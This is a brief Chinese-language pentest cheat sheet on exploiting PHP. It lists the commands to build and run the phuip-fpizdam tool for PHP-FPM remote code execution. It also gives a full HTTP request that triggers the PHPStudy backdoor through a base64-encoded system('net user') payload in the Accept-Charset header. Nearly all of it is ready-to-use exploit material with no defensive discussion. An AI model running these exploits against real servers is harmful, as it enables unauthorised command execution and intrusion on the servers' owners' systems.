WEB渗透Web突破篇-PHP漏洞利用

PHP-FPM之RCE
 

>git clone https://github.com/neex/phuip-fpizdam.git

>cd phuip-fpizdam

>go get -v && go build

>go run . http://127.0.0.1/index.php

http://127.0.0.1/index.php?a=id

多执行几次

PHPstudy后门

php:5.2.17   5.4.45

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2